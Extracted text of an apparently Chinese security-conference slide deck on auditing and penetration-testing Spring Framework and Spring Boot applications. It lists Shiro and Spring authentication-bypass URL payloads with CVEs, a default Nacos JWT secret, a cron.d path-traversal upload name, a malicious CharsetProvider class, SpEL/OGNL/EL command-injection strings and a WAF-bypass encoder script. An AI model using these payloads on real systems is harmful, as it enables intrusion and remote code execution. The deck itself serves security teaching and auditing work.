Panda Hacking Spring
Panda Hacking Spring
panda
      2023.06.10
   About Me
• T00ls荣誉成员
• T00ls 名人堂成员
• 《Java 代码审计 · 入门篇》作者之一
• 某甲方安全工程师
• Blog: www.cnpanda.net
                          2
Audit Spring Framework & Spring Boot
          Hacked Spring
Audit Spring Framework & Spring Boot - 快速审计思路
• 无情的 find jar 机器 – 你的眼睛是铁
                             fastjson
                                  • version <= 1.2.80
                             shiro
                                  • version < 1.11.0
                             log4j
                                  • 2.x.x <= version < 2.17.0
                             hessian
                             xtream
                             actuator
                             ……
                                                                5
Audit Spring Framework & Spring Boot - 快速审计思路
                                                6
Audit Spring Framework & Spring Boot - 快速审计思路
                                                7
Audit Spring Framework & Spring Boot - 快速审计思路
                                                8
Audit Spring Framework & Spring Boot - 快速审计思路
                                                9
Audit Spring Framework & Spring Boot - 快速审计思路
                                                10
Audit Spring Framework & Spring Boot - 快速审计思路
                                                11
Audit Spring Framework & Spring Boot - 快速审计思路
                                                12
Audit Spring Framework & Spring Boot - 快速审计思路
人工 工具
     优点:
                                         优点:
       • 代码数据安全
                                           • 速度快,覆盖面较广
缺点: • 门槛低,快速分析
       • 专家经验                            优点:
       • 易遗漏                               • 代码数据安全无法 100%
                                            保障
                                                             13
Audit Spring Framework & Spring Boot - 快速审计思路
Web.xml
     <servlet>
          <servlet-name>hrssworkflowervlet</servlet-name>
          <servlet-class>
                 nc.bs.hrss.pf.WorkFlowPngServlet
          </servlet-class>
                                                            Special Servlet
                  <load-on-startup>2</load-on-startup>
     </servlet>
     <servlet-mapping>
          <servlet-name>hrssworkflowervlet</servlet-name>
                  <url-pattern>/workflowpng</url-pattern>
     </servlet-mapping>
Audit Spring Framework & Spring Boot - 快速审计思路
xxx-config.xxx
未授权(前台)
鉴权分析
                                                         16
Audit Spring Framework & Spring Boot – 通用审计思路
                  命令执行
                  反序列化
                  模板注入              关键函数         RCE
                  代码执行
                  反射调用
                  JNDI              代码功能
 通用漏洞分析          表达式注入
                   SQL
                  文件上传                          漏洞组合链
                                   未授权优先
                 文件读取/下载
                    ……
                                                       17
Audit Spring Framework & Spring Boot – 通用审计思路
Fortify
                            CodeQL              扫描结果人工分析
         工具一把梭
Checkmarx
Tabby
                                                           18
Audit Spring Framework & Spring Boot – 审计小 trick
避免某些文件中找不到对应类
                                                                              19
Audit Spring Framework & Spring Boot – 审计小 trick
                                                   20
Audit Spring Framework & Spring Boot – 审计小 trick
统一反编译
                 cfr-0.151.jar
     https://github.com/KpLi0rn/DeserializeAll
                                                                                                            21
Audit Spring Framework & Spring Boot – 审计小 trick
路由寻找
              目录及文件                    注解               关键字
                Controller          @Controller      extends HttpServlet
                  Web              @RestController
                                                     HttpServletRequest
               interceptor         @RequestMapping        request
                   api              @GetMapping        .getParameter
                 servlet           @PostMapping        RequestBody
               webservice           @PutMapping        ResponseBody
                 Web.xml            @PutMapping        PathVariable
           springmvc-servlet.xml   @DeleteMapping      RequestParam
                                   @PatchMapping
                                    @CrossOrigin
                                     @interface
                                                                           22
Audit Spring Framework & Spring Boot – 审计小 trick
路由寻找
                                                   23
Audit Spring Framework & Spring Boot – 审计小 trick
路由寻找
                                                   24
     Audit Spring Framework & Spring Boot – 审计小 trick
org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#lookupHandlerMethod
                                                   26
Audit Spring Framework & Spring Boot – 审计小 trick
鉴权绕过
                                                               /**/**.html
                   /users = /users .*
                                              /**/**.*
                                                                /**/**.js
                                                                                      27
Audit Spring Framework & Spring Boot – 审计小 trick
                           WEB-INF/KmssConfig/sys/authentication/spring.xml
https://vuls.info/PeiQi/wiki/oa%20treexml.tmpl%20远程命令执行漏洞/#_4   29
Audit Spring Framework & Spring Boot – 审计小 trick
AuthXXXXXFilter
                                 @Override configurePathMatch
                                      configurer.setUseSuffixPatternMatch(false)
suffixPatternMatch = false
springmvc.xml
                                       <mvc:annotation-driven>
                                          <mvc:path-matching suffix-pattern="false"/>
                                       </mvc:annotation-driven>
                                                                                        31
Audit Spring Framework & Spring Boot – 审计小 trick
鉴权绕过
                     /users = /users/
                                              getRequestURI().equals("/admin/info")
                                                                                       32
Audit Spring Framework & Spring Boot – 审计小 trick
.antMatchers("/admin","/user/*/info","/api/*").authenticated()
auth: /admin/addUser
                                                                                                        34
Audit Spring Framework & Spring Boot – 审计小 trick
                          Xml.config                                     /org/ivesoftware/admin/AuthCheckFilter.java
        </param-value>                                                       ......
                                                                         }
  </init-param>
  </filter>
                                             forward
1              ShiroFilterFactoryBean shiroFilterFactoryBean() {
2                      ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
3                      bean.setSecurityManager(securityManager()); // 指定 SecurityManager
4                      bean.setLoginUrl(“/login”); // 登录页面
5                      bean.setSuccessUrl(“/index”); // 登录成功页面
6                      bean.setUnauthorizedUrl(“/unauthorizedurl”); // 访问未获授权路径时跳转的页面
7                      Map<String, String> map = new LinkedHashMap<>();
8                      map.put("/doLogin", "anon");
9                      map.put("/admin", "authc");
10                     bean.setFilterChainDefinitionMap(map);
11                     return bean;
12                 }
     Audit Spring Framework & Spring Boot – 审计小 trick
                                                       forward
1              @GetMapping("/test")
2                 public void test(HttpServletRequest request, HttpServletResponse response){
3                         RequestDispatcher rd = request.getRequestDispatcher("/admin");
4                         try {
5                             rd.forward(request, response);
6                         } catch (Exception e) {
7                             e.printStackTrace();
8                         }
9                 }
10             @GetMapping("/admin")
11                public String hello() {
12                    return "admin";
13                }
14             @GetMapping("/login")
15                public String   login() {
16                    return "please login!";
17                }
Audit Spring Framework & Spring Boot – 审计小 trick
forward
                                                   38
     Audit Spring Framework & Spring Boot – 审计小 trick
ZK框架权限绕过 zk/src/org/zkoss/zk/au/http/AuUploader.java
ZK框架权限绕过
From: https://y4er.com/posts/zk-framework-auth-bypass-case-r1soft-rce/
                                                                         40
Audit Spring Framework & Spring Boot – 审计小 trick
                                                 ZK框架权限绕过
From : https://y4er.com/posts/zk-framework-auth-bypass-case-r1soft-rce/
                                                                          41
Audit Spring Framework & Spring Boot – 审计小 trick
                                                                      /toJsonPOJO/
       CVE-2020-1957    shiro < 1.5.2         /** = anon              Spring Boot < 2.3.0.RELEASE
                                                                        à /xx/..;/toJsonPOJO
                                                                      (=1.5.2)
                                                                      /toJsonList/aa
                                          (=1.5.2)
                                                                        à / 的两次编码 --> %25%32%66
                                              /toJsonList/* = authc     à /toJsonList/a%25%32%66a
                                                                         à /toJsonList/a%2fa;
       CVE-2020-11989   shiro < 1.5.3     (<1.5.2)
                                                 /alter/* = authc     (<1.5.2)
                                                       &&             /shirodemo/alter/test
                                                    /** = anon          à /;/shirodemo/alter/test
                                                                                                    42
Audit Spring Framework & Spring Boot – 审计小 trick
                                                                                 /hello
        CVE-2020-13933                    shiro < 1.6.0   /hello/* = authc        à /hello/%3ba -> /hello/;a
                                                                                 /hello
        CVE-2020-17510                    shiro < 1.7.0   /hello/* = authc         à/hello/%2e à /hello/.
                                                                                 (/%2e、/%2e/、/%2e%2e、/%2e%2e/都可)
                                                                                 /hello
        CVE-2020-13933                    shiro < 1.7.1   /hello/* = authc         à /hello/%20
                                                                                 /admin/page
        CVE-2021-41303                    shiro < 1.8.0   /hello/* = authc        à/admin/page/
                                                           RegExPatternMatcher   /alter/aaa
       CVE-2022-32532                     shiro < 1.9.1            &&
                                                                 /alter/.*
                                                                                  à /alter/a%0aaa
                                                                                  à /alter/a%0daa
    From: https://xz.aliyun.com/t/11633                                                                        43
Audit Spring Framework & Spring Boot – 审计小 trick
          Default secret
             QVD-2023-6271
                nacos.core.auth.default.token.secret.key
                =SecretKey0~90~90~9
JWT
Weak secret
                • Secret 生成算法可以猜解
                • 弱口令 secret
                • Secret 存储文件被读取
                                                           44
Audit Spring Framework & Spring Boot – 审计小 trick
ChatGPT
                                                   45
Audit Spring Framework & Spring Boot
           Hacked Spring
Hacked Spring – 渗透测试实战
                         Fastjson
                         Log4Shell
Shrio
组件漏洞 Spring4Shell
                         Actuator
                         Axis
                         Druid
     渗透测试实战
                         Hessian deserialize
                         XStream deserialize
                         文件上传
                  传统漏洞   文件读取
                         表达式注入
                         XML 中的注入
                         权限绕过
                                               47
Hacked Spring – 渗透测试实战
   Fastjson
                                                              Druid
              https://github.com/a1phaboy/FastjsonScan
                                                                      Session moniter à session
Log4Shell
              https://github.com/Tsojan/TsojanScan
                                                              Axis
   Spring4Shell                                                       AdminService
              https://github.com/fullhunt/spring4shell-scan
                                                                             org.apache.axis.handlers.LogHandler
                                                                             org.apache.axis.client.ServiceFactory
   Shrio
                                                                             com.sun.script.javascript.RhinoScriptEngine
              https://github.com/j1anFen/shiro_attack                        javax.el.ELProcessor
   Actuator                                                   Swagger
               https://github.com/artsploit/yaml-payload              https://github.com/jayus0821/swagger-hack
               https://github.com/wyzxxz/heapdump_tool
                                                                                                             48
   Hacked Spring – 渗透测试实战
Hessian deserialize
marshalsec
JNDI-Injection-Exploit
https://gitee.com/a1324622751/Hessian-Deserialize-RCE
                                                                                         49
  Hacked Spring – 渗透测试实战
XStream deserialize
From: https://articles.zsxq.com/id_i2vwfvie7dv9.html
                                                                                         50
Hacked Spring – 渗透测试实战
文件上传
        From: su18       51
 Hacked Spring – 渗透测试实战
                          import base64
                          name = "test"
                          encode = name.encode("utf-8")
                          b = base64.b64encode(encode)
                          print("=?utf-8?B?"+b.decode()+"?=")
文件上传                      res = ""
                          for i in encode.decode("gbk"):
                               tmp = hex(ord(i)).split("0x")[1]
                               res += f"={tmp}"
                          print("=?gbk?Q?"+res+"?=")
       From: Y4tacker
                                 Commons fileupload > 1.3
                                                                  52
Hacked Spring – 渗透测试实战
文件上传
  ......
  if(!file.isEmpty()){
       String Filename = file.getOriginalFilename();
       String suffix =
  originalFilename.substring(Filename.lastIndexOf("."));
       if(!“.xlsx”.equals(suffix) && !".xls".equals(suffix)){
                                                                ../../../../../../etc/cron.d/up.xls
            throw new Exception("非法请求,请导入excel文件");
       }
       byte[] bytes = file.getBytes();
       String path = ULOADED_FOLDER + Filename;
  }
  ......
                                                                                                53
Hacked Spring – 渗透测试实战
SpringBoot文件上传
org.springframework.web.accept.HeaderContentNegotiationStrategy
                                                                       Accept: text/html;charset=GBK
  public List<MediaType> resolveMediaTypes(NativeWebRequest request)
  throws HttpMediaTypeNotAcceptableException {
      String[] headerValueArray = request.getHeaderValues("Accept");
      ...
            try {
                List<MediaType> mediaTypes =
  MediaType.parseMediaTypes(headerValues);
                ...
            } catch (InvalidMediaTypeException var5) {
                ...
                                                                          Charset.forName(value);
            }
      }
  }
                                                                                                       54
     Hacked Spring – 渗透测试实战
1
            public static Charset forName(String charsetName) {
2                   Charset cs = lookup(charsetName);
3                   if (cs != null)
4                         return cs;
5           ......
6           }
            private static Charset lookup(String charsetName) {
7
               if (charsetName == null)
8
                    throw new IllegalArgumentException("Null charset name");                Charset.forName
9              Object[] a;
10             if ((a = cache1) != null && charsetName.equals(a[0]))
11                  return (Charset)a[1];
12             return lookup2(charsetName);
13          }
14
            private static Charset lookup2(String charsetName) {
               Object[] a;
15
               if ((a = cache2) != null && charsetName.equals(a[0])) {
16
                    cache2 = cache1;
17                  cache1 = a;
18                  return (Charset)a[1];
19          }
20          Charset cs;
21          if ((cs = standardProvider.charsetForName(charsetName)) != null ||
22
            (cs = lookupExtendedCharset(charsetName)) != null ||
            (cs = lookupViaProviders(charsetName)) != null)
23
            {
24
               cache(charsetName, cs);
25             return cs;                               ClassLoader cl = ClassLoader.getSystemClassLoader();
26          }                                           ServiceLoader<CharsetProvider> sl =
27          ......
28          }                                           ServiceLoader.load(CharsetProvider.class, cl);
     Hacked Spring – 渗透测试实战
1
                     import   java.io.IOException;
2                    import   java.nio.charset.Charset;
3                    import   java.util.HashSet;
4                    import   java.util.Iterator;
5
6                    public class Evil extends java.nio.charset.spi.CharsetProvider {
                     @Override
7
                     public Iterator<Charset> charsets() {
8
                        return new HashSet<Charset>().iterator();
9                    }
10                   @Override
11                   public Charset charsetForName(String charsetName) {
12
13                       if (charsetName.startsWith("Evil")) {
14
                              try {
                                    Runtime.getRuntime().exec("open -a /System/Applications/Calculator.app");
15
                              } catch (IOException e) {
16
                                    e.printStackTrace();
17                            }
18                       }
19                       return Charset.forName("UTF-8");
20                       }
21                   }
      ├── Evil.class
      └── META-INF
                                                                     curl -X GET “ http://127.0.0.1:8080 ” -H “ Accept: text/html; Charset=Evil "
           └── services
                └── java.nio.charset.spi.CharsetProvider
 Hacked Spring – 渗透测试实战
         SpEL
                T(java.lang.Runtime).getRuntime().exec(“open /System/Applications/Calculator.app")
${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app")')}
表达式注入 OGNL
                ${new javax.script.ScriptEngineManager().getEngineByName("js").eval("new
                j\u0061va.lang.ProcessBuilder['(java.l\u0061ng.String[])'](['/bin/sh','-c','open
                /System/Applications/Calculator.app']).start()\u003B")}
EL
                ${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("
                java.lang.Runtime").getMethod("getRuntime").invoke(null),"whoami")}
                                                                                                                               57
Hacked Spring – 渗透测试实战
#!/usr/bin/env python
#coding: utf-8
def encode(payload):
         encode_payload = ""                                EL表达式注入绕过 waf
         for i in range(0, len(payload)):
                 if i == 0:
                         encode_payload += "true.toString().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
                 else:
                         encode_payload += ".concat(true.toString().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
         return encode_payload
exp1 =
'${"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s)}' %
(encode('java.lang.Runtime'),encode('exec'),encode('java.lang.Runtime'),encode('getRuntime'),encode('whoami'))
print(exp1)
                                                                                                                               58
Hacked Spring – 渗透测试实战
              EhCache file
    文件读取                               XML 中的注入
              application.properties
. ssh
              . bash_history
                                                  WSDL
                                                            59
Hacked Spring – 渗透测试实战
main.xxxx.js
umi.xxxx.js
 路由寻找
          app.xxxx.js
chunk.xxxx.js
                          60
Hacked Spring – 渗透测试实战
/login/..;/admin /AdMin
/admin/. /admin/;
/admin/%2e /admin/%3b
/admin;%252flogin /admin/;a
      /ad%0dmin                              /login/%u002e%u002e/%u002e%u002e/admin
                            NoAuth: /login
      /admin/%20                             /..;/..;/..;/..;/..;/admin
                             Auth: /admin
      /admin/                                //admin//
/login/./././admin //;//admin
/login/../admin /admin.json
      /login/%2e%2e/admin                    /admin.js
                                             /./admin/..
      /..;/admin
                                             /admin/%20/                      61
      /admin..;/
Thanks !
62